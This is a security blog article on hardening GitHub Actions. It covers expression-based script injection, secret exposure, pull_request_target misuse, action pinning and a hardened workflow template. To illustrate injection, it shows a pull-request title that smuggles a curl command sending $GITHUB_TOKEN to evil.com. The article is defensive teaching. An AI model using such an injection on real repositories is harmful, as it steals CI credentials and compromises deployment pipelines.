GitHub Actions Security Best Practices: Script Injection, Secret Leaks and CI/CD Hardening

SCRs Team
February 20, 2026
15 min read
263 words
Share

Why GitHub Actions Is a High-Value Target

GitHub Actions runs code with access to your source code, secrets, cloud credentials, and deployment pipelines. A compromised workflow means compromised production.

RiskImpact
Script injectionRun arbitrary commands in your CI
Secret exfiltrationSteal API keys, deploy tokens
Supply chain attackCompromised third-party action
Privilege escalationPR from fork gains write access
Artifact poisoningTampered build outputs

Vulnerability 1: Script Injection via Expressions

The most common and dangerous vulnerability. GitHub expressions (${{ }}) are evaluated before the shell runs — they're string interpolation, not safe variables.

❌ Vulnerable Workflow

name: Greet PR Author
on: pull_request

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Thanks for the PR, ${{ github.event.pull_request.title }}!"

An attacker creates a PR with title:

"; curl https://evil.com/steal?token=$GITHUB_TOKEN; echo "

The workflow executes:

echo "Thanks for the PR, "; curl https://evil.com/steal?token=$GITHUB_TOKEN; echo "!"

Vulnerable Contexts (User-Controlled)

github.event.pull_request.title
github.event.pull_request.body
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.head_commit.message
github.head_ref (branch name)

✅ Fixed: Use Environment Variables

- name: Greet safely
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "Thanks for the PR: $PR_TITLE"
    # $PR_TITLE is now a shell variable — NOT interpolated into the script

Vulnerability 2: Secret Exfiltration

# ❌ Secrets available to all steps including untrusted code
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test  # If tests run user-contributed code, secrets can be stolen
    env:
      AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
      DATABASE_URL: ${{ secrets.DATABASE_URL }}

✅ Minimize Secret Exposure

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test  # No secrets here

  deploy:
    needs: test
    runs-on: ubuntu-latest
    environment: production  # Requires approval
    steps:
      - uses: actions/checkout@v4
      - name: Deploy
        env:
          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
        run: ./deploy.sh

Vulnerability 3: Dangerous pull_request_target

pull_request_target runs with write permissions and access to secrets — even for PRs from forks!

# ❌ EXTREMELY DANGEROUS — runs forked PR code with write access + secrets
on: pull_request_target

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Checks out FORKED code!
      - run: npm install && npm test  # Runs attacker's code with your secrets

✅ Safe Pattern

on: pull_request_target

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      # ✅ Only checkout BASE repo code, not fork code
      - uses: actions/checkout@v4
        # No ref override — checks out base branch (safe)
      
      # ✅ Only run trusted scripts from your own repo
      - run: ./scripts/label-pr.sh

Vulnerability 4: Third-Party Action Supply Chain

# ❌ Using mutable tag — author can push malicious update
- uses: some-author/helpful-action@v1

# ❌ Using branch — changes anytime
- uses: some-author/helpful-action@main

# ✅ Pin to exact commit SHA
- uses: some-author/helpful-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

# ✅ Even better — use GitHub's official actions (well-maintained)
- uses: actions/checkout@v4
- uses: actions/setup-node@v4

Automate Dependency Updates (Dependabot for Actions)

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Hardened Workflow Template

name: Secure CI/CD

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

# ✅ Minimal permissions at workflow level
permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
        with:
          node-version: 20
          cache: npm
      - run: npm ci
      - run: npm test

  deploy:
    needs: test
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    runs-on: ubuntu-latest
    timeout-minutes: 15
    environment: production  # ✅ Requires manual approval
    permissions:
      contents: read
      id-token: write  # ✅ OIDC — no long-lived secrets
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
        with:
          role-to-assume: arn:aws:iam::123456789:role/deploy  # ✅ OIDC, no keys
          aws-region: us-east-1
      - run: ./deploy.sh

GitHub Actions Security Checklist

  • Never use ${{ }} expressions directly in run: with user-controlled values
  • Pin third-party actions to full commit SHAs
  • Set minimal permissions: at workflow and job level
  • Use environment: with required approvals for production deploys
  • Use OIDC (id-token: write) instead of long-lived cloud credentials
  • Never checkout fork code with pull_request_target
  • Limit secret access to only the jobs/steps that need them
  • Set timeout-minutes: to prevent runaway jobs
  • Enable Dependabot for GitHub Actions dependencies
  • Audit workflow runs for unexpected commands
Editorial standards

Published by SecureCodeReviews

This article is part of our original AI security and cybersecurity content library. We show publish and update dates, keep company and policy pages public, and update important guidance when material changes affect readers.

Named author: SCRs Team
Published: Feb 20, 2026
Update status: current publication version

Questions or corrections?

Review our editorial standards, learn more about the company, or contact us if a page needs clarification.

AI Security Audit

Planning an AI feature launch or security review?

We assess prompt injection paths, data leakage, tool use, access control, and unsafe AI workflows before they become production problems.

Manual review for agent, prompt, and retrieval attack paths
Actionable remediation guidance for your AI stack
Coverage for LLM apps, MCP integrations, and internal AI tools

Talk to SecureCodeReviews

Get a scoped review path fast

Manual review
Actionable fixes
Fast turnaround
Security-focused

Advertisement